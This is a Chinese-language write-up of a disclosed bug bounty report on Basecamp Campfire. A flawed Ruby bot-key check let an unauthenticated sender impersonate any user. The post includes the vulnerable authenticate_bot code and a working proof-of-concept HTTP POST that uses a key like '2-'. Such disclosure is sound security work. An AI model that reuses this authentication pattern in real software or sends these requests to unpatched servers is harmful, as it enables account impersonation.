机器人认证缺陷导致任意用户身份冒充漏洞分析

本文详细分析了Basecamp Campfire项目中一个关键的认证绕过漏洞。由于机器人密钥认证逻辑存在缺陷,攻击者可在未认证的情况下,通过构造特定格式的密钥,冒充任意用户发送消息。该漏洞最终被修复,报告者获得了2000美元的奖金。

Basecamp | 报告 #3329310 - 机器人认证不当导致在房间内发送消息时可冒充任何用户

漏洞概述

机器人被允许在房间内发送消息,但需要通过bot_key进行身份验证。其认证函数如下:

1
2
3
4
def authenticate_bot(bot_key)
  bot_id, bot_token = bot_key.split("-")
  active.find_by(id: bot_id, bot_token: bot_token)
end

问题的关键在于,如果bot_key没有右侧部分(例如1-),bot_token的值将为nil。此时,如果bot_id匹配到一个有效的用户ID,查询将成功匹配到一个用户(User)记录,而非预期的机器人(Bot)记录。

漏洞详情

用户ID是递增的,正如在Rails控制台中可以看到的那样,因此它们很容易被猜测。这些ID在某些URL中也可见。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
campfire(prod):038> User.active
=> 
[#<User:0x00007a444e940f18
  id: 1,
  name: "enoent",
  created_at: "2025-09-06 11:59:41.505220000 +0000",
  updated_at: "2025-09-06 14:08:08.788258000 +0000",
  role: "administrator",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: "<s>ddqsdqsds</s>",
  bot_token: nil>,
 #<User:0x00007a444e940dd8
  id: 2,
  name: "test",
  created_at: "2025-09-06 13:24:29.113250000 +0000",
  updated_at: "2025-09-06 13:42:26.539909000 +0000",
  role: "member",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: nil,
  bot_token: nil>,
 #<User:0x00007a444e940c98

以下请求展示了此问题,它允许一个未经验证的用户冒充另一个用户(此处ID为2)并以该用户的身份发布消息:

1
2
3
4
5
6
7
8
POST /rooms/2/2-/messages HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/vnd.turbo-stream.html, text/html, application/xhtml+xml
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 193

Hello ! I'm the test user, even though I'm not authenticated

附带的图片显示消息被成功发布,并且看起来来自“test”用户。

影响

未经身份验证的用户可以冒充任何用户,在被冒充用户有权访问的房间内发送任意消息。

处理时间线

  • 2025年9月6日,下午3:24 (UTC):黑客 stackered 向Basecamp提交报告。
  • 2025年9月9日,下午4:08 (UTC):项目成员 jacopo-beschi 确认报告的有效性。
  • 2025年9月10日,上午8:43 (UTC):Basecamp向 stackered 奖励2000美元赏金。团队决定为现有的Campfire报告提供赏金,但今后不再为该资产提供赏金。
  • 2025年9月10日,上午8:44 (UTC)jacopo-beschi 告知已在版本1.1.8中发布了修复程序,并要求验证。
  • 2025年9月11日,上午11:23 (UTC)stackered 确认修复后无法复现该问题。
  • 2025年9月11日,下午12:06 (UTC)jacopo-beschi 将报告状态更改为“已解决”。
  • 约9天前:报告被同意公开披露。

报告信息

项目 内容
报告ID #3329310
报告者 stackered
报告目标 Basecamp
状态 已解决
严重程度 高 (7 ~ 8.9)
披露日期 2025年11月21日,下午7:39 (UTC)
弱点类型 不当身份验证 - 通用
CVE ID
赏金 $2,000
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计